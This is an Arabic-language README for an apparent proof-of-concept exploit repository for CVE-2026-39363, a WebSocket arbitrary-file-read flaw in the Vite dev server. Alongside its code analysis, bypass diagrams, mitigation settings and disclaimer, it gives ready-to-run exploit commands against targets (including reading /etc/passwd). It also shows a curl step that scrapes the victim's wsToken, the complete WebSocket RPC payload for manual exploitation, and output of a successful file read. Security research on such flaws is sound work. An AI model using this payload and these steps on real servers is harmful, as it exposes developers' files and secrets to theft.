
استغلال لثغرة CVE-2026-39363، وهي ثغرة قراءة ملفات عشوائية عبر WebSocket في خادم تطوير Vite، مع سكربتات Python وNode.js للاستغلال الآلي وخطوات يدوية.
| الخاصية | المعلومات |
|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| نوع الثغرة | Arbitrary File Read (قراءة ملفات تعسفية) |
| المكوّن المتأثر | Vite Dev Server |
| الإصدارات المتأثرة | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| تقييم CVSS | High |
| إصدار الإصلاح | Vite >= 6.2.3 |
يوجد في استدعاء RPC الخاص بـ fetchModule عبر WebSocket في Vite Dev Server ثغرة تسمح بتجاوز فحوصات الأمان.
موقع الكود الثغري: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// نقطة الثغرة الحرجة: عندما يكون URL من نوع file:// أو لا يوجد importer
// يتم استدعاء resolveId مباشرة دون إجراء فحص isFileServingAllowed!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...متابعة المعالجة وإرجاع محتوى الملف
}
┌─────────────────────────────────────────────────────────────────┐
│ مسار طلب HTTP (مع فحص أمان) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKED │
│ (فحص server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ مسار طلب WebSocket (تجاوز الفحص) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> resolveId مباشرة │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> يعتمد على إعدادات fs.allow │
│ │ │
│ ▼ │
│ إرجاع محتوى الملف بنجاح (إذا كان fs.allow يسمح) │
└─────────────────────────────────────────────────────────────────┘
مسار HTTP: يمر عبر فحوصات متعددة ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
مسار WebSocket:
fetchModule لا تستدعي isFileServingAllowedisFileLoadingAllowed في loadAndTransform لا يزال فعالاًserver.fs.allow متساهلاً، يمكن قراءة أي ملف--host)fs.allow: ['..'] - يمكن قراءة الدلائل الأصليةfs.allow: ['C:/'] - يمكن قراءة القرص C بالكاملfs.strict: false - بدون أي قيود/@vite/client)# استنساخ المستودع
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# تثبيت التبعيات
npm install
# تشغيل Vite Dev Server (باستخدام إعدادات متساهلة لعرض الثغرة)
npm run dev
# الاستخدام الأساسي (كشف المنفذ تلقائياً)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# قراءة ملف خارج المشروع
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# تحديد token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# الحصول على wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# تشغيل POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # وثيقة تحليل الثغرة
├── exp.py # سكربت الاستغلال بلغة Python
├── poc.js # POC بلغة Node.js
├── vite.config.js # ملف إعدادات Vite (للعرض التوضيحي)
├── package.json # إعدادات المشروع
├── src/ # دليل الكود المصدري
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # الموارد الثابتة
└── index.html # ملف HTML الرئيسي
npm update vite
# أو
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // السماح فقط بجذر المشروع
}
}
})
--host لتعريض الخدمةهذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. يرجى عدم استخدام كود استغلال هذه الثغرة في أي أنشطة غير قانونية. قبل استخدام هذا الكود للاختبار، تأكد من حصولك على إذن صريح من مالك النظام المستهدف.
MIT License